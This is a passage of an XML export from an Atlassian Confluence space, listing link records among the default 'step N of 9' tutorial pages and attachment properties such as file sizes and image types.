<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196643</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196644</id>
|
||||
<property name="destinationPageTitle"><![CDATA[//maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radiu]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[//maps.google.com/maps?q=atlassian,+george+street,+new+south+wales,+australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=atlassian,+george+street,+new+south+wales,+australia&radiu]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[https]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[https]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196645</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196638</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196639</id>
|
||||
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196640</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196641</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196634</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196635</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196636</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196637</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196630</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196631</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196632</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196633</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196626</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196627</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196628</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196629</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196622</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196623</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196624</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262272</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196625</id>
|
||||
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262271</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">14</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196618</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262270</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196619</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262269</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">9061</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196620</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262268</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196621</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262267</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196614</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262266</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196615</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262265</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196616</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262264</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">9592</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196617</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262263</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196610</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262262</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196611</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262261</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196612</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262260</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196613</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262259</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">34478</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262258</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262257</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262256</id>
|
||||
